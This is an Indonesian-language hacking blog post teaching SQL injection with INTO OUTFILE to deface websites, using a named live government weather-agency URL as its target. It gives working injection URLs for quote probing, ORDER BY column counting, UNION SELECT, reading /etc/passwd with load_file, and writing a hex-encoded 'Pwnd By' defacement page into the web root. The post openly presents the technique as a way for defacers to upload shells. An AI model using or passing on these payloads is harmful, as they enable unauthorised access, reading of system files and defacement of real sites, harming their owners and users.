SQL Injection INTO OUTFILE #4
sqli into outfile |
Tutorial SQLi Info Outfile
Assalamualaikum, halo pengunjung selamat datang di blog Shadow Secure System, pada halaman kali ini saya akan membagikan tutorial SQL Into Outfile. Teknik ini biasanya digunakan oleh Defacer / gray hat untuk mengupload shell mereka di website yang sudah mereka targetkan.
Live target:
https://cews.bmkg.go.id/Diseminasi_Terkini/Detail_SMS.bmkg?eventid=78b0oa
Langkah pertama lakukan pentesting terlebih dahulu apalah website tersebut vuln atau tidak. Beri tanda ' di parameternya, jika terjadi perubahan seperti blank, terdapat notif warning atau semacamnya yang membuat tampilan berubah itu berarti vuln.
Contoh:
https://cews.bmkg.go.id/Diseminasi_Terkini/Detail_SMS.bmkg?eventid=78b0oa'
error sqli into outfile |
Selanjutnya periksa jumlah column dengan memasukan query ORDER BY di URL
Contoh:
https://cews.bmkg.go.id/Diseminasi_Terkini/Detail_SMS.bmkg?eventid=78b0oa'+order+by+1--+-
Jika tampilan halaman kembali seperti semula ubah angka yang ada di URL menjadi 2, jika tidak ada perubahan ubah angka di URL secara perlahan.
Nah disini saya sudah mengetahui jumlah columnnya yaitu 8, Berikut querynya.
Contoh:
https://cews.bmkg.go.id/Diseminasi_Terkini/Detail_SMS.bmkg?eventid=78b0oa'+order+by+8--+-
Jika angka di URL adalah 9, lalu terjadi tampilan halaman berubah menjadi blank atau sejenisnya itu berarti jumlah tabelnya ada 8.
melakukan order by |
Jika sudah hapus query order by tadi beserta angkanya, lalu masukan query UNION SELECT untuk menampilkan angka yang ditampilkan dihalaman.
Contoh:
https://cews.bmkg.go.id/Diseminasi_Terkini/Detail_SMS.bmkg?eventid=78b0oa'+union+select+1,2,3,4,5,6,7,8--+-
Jika tidak togelnya tidak muncul kasih tanda - dibelakang angka / huruf parameter
Contoh:
https://cews.bmkg.go.id/Diseminasi_Terkini/Detail_SMS.bmkg?eventid=-78b0oa'+union+select+1,2,3,4,5,6,7,8--+-
Urutan angka seperti 1,2,3 dan seterusnya itu tergantung jumlah tabel, jadi jika jumlah tabel ada 100 berarti urutan angka yang ada di query UNION SELECT harus 1,2,3 sampai seratus.
angka togel |
Jika sudah mengetahui angka togelnya silahkan masukan query user() sesuai angka togel yang muncul di halaman untuk mengecek user dari website tersebut, jika usernya seperti root@namaweb itu berarti vuln.
Contoh:
https://cews.bmkg.go.id/Diseminasi_Terkini/Detail_SMS.bmkg?eventid=78b0oa'+union+select+1,2,3,4,user(),6,7,8--+-
user |
Langkah selanjutnya adalah mengecek path agar bisa mengupload file diwebsite tersebut dengan memasukan query load_file('/etc'passwd')
Contoh:
https://cews.bmkg.go.id/Diseminasi_Terkini/Detail_SMS.bmkg?eventid=-78b0oa'+union+select+1,2,3,4,load_file('/etc/passwd'),6,7,8--+-
path |
Jika sudah masukan kode html yang sudah di encode ke kode hexadisimal, lalu masukan query into outfilenya.
Contoh:
https://cews.bmkg.go.id/Diseminasi_Terkini/Detail_SMS.bmkg?eventid=-78b0oa'+union+select+1,2,3,4,KODEHEX,6,7,8+INTO+OUTFILE+'path/namafile.html'--+-
https://cews.bmkg.go.id/Diseminasi_Terkini/Detail_SMS.bmkg?eventid=-78b0oa'+union+select+1,2,3,4,0xa3c7469746c653e4861636b6564204279204d722058202d2054776f2047616e73202626202e2f4e616e615f43616e733c2f7469746c653e3c6c696e6b2072656c3d2269636f6e2220687265663d2268747470733a2f2f6b2e746f7034746f702e696f2f705f32303233796e663079302e6a70672220747970653d22696d6167652f706e67223e3c6d657461206e616d653d226465736372697074696f6e2220636f6e74656e743d22536861646f77205365637572652053797374656d223e3c7374796c653e626f6479207b206261636b67726f756e642d636f6c6f723a20233030303030303b636f6c6f723a20233030303030303b666f6e742d66616d696c793a204d6f6e6f73706163653b746578742d616c69676e3a2063656e7465723b7d3c626f6479206267636f6c6f723d22626c61636b223e3c2f7374796c653e3c7461626c652077696474683d223130302522206865696768743d2231303025223e3c746420616c69676e3d2263656e746572223e3c63656e7465723e3c7374796c653e40696d706f72742075726c282768747470733a2f2f666f6e74732e676f6f676c65617069732e636f6d2f637373323f66616d696c793d436f75726965722b5072696d6526646973706c61793d7377617027293b3c2f7374796c653e3c63656e7465723e3c62723e3c62723e3c62723e3c62723e3c696d67207372633d2268747470733a2f2f656e637279707465642d74626e302e677374617469632e636f6d2f696d616765733f713d74626e3a414e6439476353394a6f58696c6e4f5a654f676c6b6c5a78575a49687645315f67676234745961724a7726757371703d43415522206865696768743d22333530222077696474683d22333530223e3c62723e3c63656e7465723e3c666f6e742073697a653d2234302220636f6c6f723d227768697465223e50776e64204279204d722058202d2054776f3c2f666f6e743e3c62723e3c2f666f6e743e3c63656e7465723e3c666f6e742073697a653d22342220636f6c6f723d22776869,6,7,8+INTO+OUTFILE+'E:/WWW/of.html'--+-
Akses file:
https://cews.bmkg.go.id/namafile.html
Jika masih tidak paham, anda bisa menonton video dibawah.
Nahkan sc defacenya ke upload, okelah sekian tutorial sql injection into outfile pada halaman ini, jika ada kesalahan ataupun kekurangan pada halaman ini saya pribadi mohon maaf, Wassalamualaikum.
Posting Komentar